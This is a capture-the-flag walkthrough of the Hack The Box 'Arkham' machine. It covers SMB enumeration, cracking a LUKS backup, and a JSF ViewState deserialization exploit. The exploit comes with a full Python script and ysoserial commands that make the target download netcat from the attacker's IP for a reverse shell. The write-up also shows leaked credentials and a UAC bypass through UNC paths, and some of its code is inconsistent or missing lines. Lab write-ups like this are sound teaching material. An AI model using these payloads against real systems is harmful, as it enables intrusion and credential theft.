Arkham is a Medium windows box released back in March 2019.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.

Forwarding the request the webpage returns the following:
The url .faces may point out that the website is being hosted on JavaServer Faces, we can also see it in the post request that we captured:

Onto which the javax.faces definitely hints us towards a JavaServer Faces. Now our nmap scan picked up the smb service running, so let's enumerate it using smbclient:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~]
→ smbclient -L //10.10.10.130/ -U ""
Enter WORKGROUP\'s password:

And we see an interesting share named "BatShare" so we log onto it :
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ smbclient -U anonymous //10.10.10.130/BatShare

Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]

backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
And here we are dealing with a LUKS encrypted backup file which we have to crack, to do so we will first use dd to get the header hash:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ dd if=backup.img of=luks-header bs=512 count=4097
4097+0 records in
4097+0 records out
2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342869 s, 61.2 MB/s
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]

luks-header: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
Once we have it we can use hashcat on it, however I didn't check the payload offset beforehand therefore the luks header i have right here is not the correct one :
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ sudo cryptsetup luksDump backup.img
LUKS header information for backup.img
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha256
Payload offset: 4096
MK bits: 256
MK digest: 9a 35 ab 3d b2 fe 09 d6 5a 92 bd 01 50 35 a6 ab dc ea 01 47
MK salt: 36 e8 8d 00 2f b0 3c 1f de 4d 9d 7b a6 9c 59 25

So here we see that the payload offset is actually 4096.
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ dd if=backup.img of=luks-header bs=512 count=4097
4097+0 records in
4097+0 records out
2097664 bytes (2.1 MB, 2.0 MiB) copied, 0.0342137 s, 61.3 MB/s
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ hashcat -m 14600 luks-header /usr/share/wordlists/rockyou.txt
Let it run, and once it's done we get the password "batmanforever". Now we can mount it using cryptsetup:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ sudo cryptsetup luksOpen backup.img arkham
Enter passphrase for backup.img:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ ls -lash /dev/mapper
total 0
0 drwxr-xr-x 2 root root 80 Apr 16 19:41 .
0 drwxr-xr-x 20 root root 3.7K Apr 16 19:41 ..
0 lrwxrwxrwx 1 root root 7 Apr 16 19:41 arkham -> ../dm-0
0 crw------- 1 root root 10, 236 Apr 16 19:41 control
Now that arkham is there in /dev/mapper we can mount it:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ sudo mount /dev/mapper/arkham /mnt
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ cd /mnt
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
→ ls
lost+found Mask
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt]
→ cd Mask
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
→ ls
docs joker.png me.jpg mycar.jpg robin.jpeg tomcat-stuff
We can simply use thunar to view the images in there:
We have a bunch of images, but the interesting part is in the tomcat-stuff directory.
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [/mnt/Mask]
→ cd tomcat-stuff && ls
context.xml jaspic-providers.xml server.xml web.xml
faces-config.xml MANIFEST.MF tomcat-users.xml web.xml.bak
Preety much everything here is default except for web.xml.bak:
So this "secret" myfaces.SECRET value SnNGOTg3Ni0= can be used to decrypt the javax.faces.ViewState value which is very likely to contain a vulnerability as this post suggests:

Now to do so we'll create a python script:
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ ls
appserver.zip backup.img IMPORTANT.txt luks-header
[ 10.10.14.47/23 ] [ /dev/pts/3 ] [~/_HTB/Arkham]
→ nano exploit.py
from base64 import b64decode, b64encode
from hashlib import sha1
def decrypt_view_state(view_state):
key=b64decode('SnGOTg3Ni0=')
print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"))
Now our problem here is that we don't know how it was encrypted, so we go and read the documentation and find the DES algorithm:
import pyDes, hmac
from base64 import b64decode, b64encode
from hashlib import sha1
def decrypt_view_state(view_state):
key=b64decode('SnGOTg3Ni0=')
obj = pyDes.des(key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
view_state=b64decode(view_state)
view_state=view_state + b'\x00\x00\x00\x00'
print(len(view_state))
dec = obj.decrypt(view_state)
return dec
print(decrypt_view_state("wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE="))
Which reveals us that we are working with a java object with padding. So from there we create a payload using ysoserial:

So we saved our payload as payload.bin, now we edit our previous exploit:

def exploit():
url='http://10.10.10.130:8080/userPr0metheus.faces'
view_state=create_payload()
data = { 'javax.faces.ViewState' : view_state }
requests.post(url,data=data)
exploit()
So here we have our exploit which sends a javax.faces.ViewState payload to ping ourselves basically. We could check it with the following command:
[ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
→ tcpdump -i tun0 icmp
So from here we need to upload nc64.exe to spawn a reverse shell:
[ 10.10.14.47/23 ] [ /dev/pts/0 ] [~/_HTB/Arkham]
→ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'powershell.exe -exec bypass Invoke-WebRequest "http://10.10.14.47:9000/nc64.exe" -OutFile "c:\windows\system32\spool\drivers\color\nc64.exe"' > xct_is_awesome
So far we've used ippsec's steps, but to for additional diversity, we can use hipotermia's python script in order to upload netcat and then use it to get a reverse shell:
import urllib
import base64
import subprocess
import requests
import hashlib
import pyDes
import hmac
import sys
url= "http://10.10.10.130:8080/userSubscribe.faces"
r=requests.get(url)
cookie=r.headers['set-cookie']
cmd=sys.argv[1]
secret = base64.b64decode("SnNGOTg3Ni0=")
cipher = pyDes.des(secret, pad=None, padmode=pyDes.PAD_PKCS5)
ysoserial= 'java -jar ../ysoserial-master-SNAPSHOT.jar CommonsCollections6 "' +cmd+'"'
payload=subprocess.check_output(ysoserial,shell=True)
payload=cipher.encrypt(payload)
hmacSignature= hmac.new(secret,payload,hashlib.sha1).digest()
payload=base64.b64encode(payload + hmacSignature)
payload=urllib.parse.quote(payload)
headers = {"Cookie":cookie,"Content-Type":"application/x-www-form-urlencoded"}
data="j_id_jsp_1623871077_1%3Aemail=nihilist&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState="+payload
r= requests.post(url, data=data, headers=headers)
As you can see i updated his script a bit because the urllib needed to become urllib.parse in python3, so we'll first test if it works by making the machine ping back to us :
And we made the machine ping us ! from there we need to make the machine download netcat.exe from us, and execute it.
it doesn't seem to work so we'll go for snowscan's solution which consists in saving the netcat binary in \programdata\ instead.

And that's it ! we have been able to print out the user flag.
Now to privesc on this box we need to take a look into Alfred's download directory:

Into which we find a certain backup.zip file that we send over to our local machine:
So we unzip it and we find an .ost file that is an Outlook email folder That we can read using readpst, which you can install like so :
[ 10.10.14.47/23 ] [ /dev/pts/6 ] [~/_HTB/Arkham]
→ sudo apt install pst-utils
[ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
→ readpst alfred@arkham.local.ost
Opening PST file and indexes...

In the drafts folder we have an interesting email with a b64 encoded attached image:
[ 10.10.14.47/23 ] [ /dev/pts/5 ] [_HTB/Arkham/hipotermia]
→ file Drafts.mbox
Drafts.mbox: HTML document, ASCII text, with very long lines

→ nano Drafts.mbox
echo 'B64STRING' | base64 -d > image001.png
And so from here we have the user batman's credentials : batman:Zx^#QZX+T!123

The command completed successfully.
here we see that batman is a member of the Administrator group. So we privesc to batman using powershell:
C:\Users\Alfred>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\Alfred> $user = 'batman'
$user = 'batman'
PS C:\Users\Alfred> $pass = 'Zx^#QZX+T!123'
$pass = 'Zx^#QZX+T!123'
PS C:\Users\Alfred> $secPass = ConvertTo-SecureString $pass -AsPlainText -Force
$secPass = ConvertTo-SecureString $pass -AsPlainText -Force
PS C:\Users\Alfred> $cred = New-Object System.Management.Automation.PSCredential $user, $secPass
$cred = New-Object System.Management.Automation.PSCredential $user, $secPass
PS C:\Users\Alfred> enter-pssession -computername arkham -credential $cred
enter-pssession -computername arkham -credential $cred
[arkham]: PS C:\Users\Batman\Documents> whoami
whoami
arkham\batman
Now that we are logged in as the user batman, we see that we can't actually get into the Administrator directory:
[arkham]: PS C:\Users\Batman\Documents> cd \users\administrator\desktop
cd \users\administrator\desktop
[arkham]: PS C:\Users\Batman\Documents>
So next up we'll use snowscan's unintended privesc solution which was to first check that UAC was enabled, which explains why we couldn't get into the Administrator's directory as batman:
[arkham]: PS C:\Users\Batman\Documents> (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
(Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).EnableLUA
1
But for some reason, if we use the UNC paths we could get access to the administrator directory, which gets the root flag:
C:\Users\Batman\Documents>pushd \\10.10.10.130\c$
Z:\>cd \users\administrator\desktop
Z:\Users\Administrator\Desktop>dir
Volume in drive Z has no label.
Volume Serial Number is FA90-3873
Directory of Z:\Users\Administrator\Desktop
02/03/2019 09:32 AM <DIR> .
02/03/2019 09:32 AM <DIR> ..
02/03/2019 09:32 AM 70 root.txt

2 Dir(s) 8,710,045,696 bytes free
Z:\Users\Administrator\Desktop>type root.txt
type root.txt
63XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Another way was to remember that we could mount shares, therefore mapping the C$ volume in G:
[arkham]: PS C:\Users\Batman\Documents> net use G: \\10.10.10.130\C$
net use G: \\10.10.10.130\C$
The command completed successfully.
[arkham]: PS C:\Users\Batman\Documents> fsutil fsinfo drives
fsutil fsinfo drives
Drives: C:\ D:\ G:\
And from there simply typing the root flag :
[arkham]: PS C:\Users\Batman\Documents> type G:\Users\Administrator\Desktop\root.txt
type G:\Users\Administrator\Desktop\root.txt
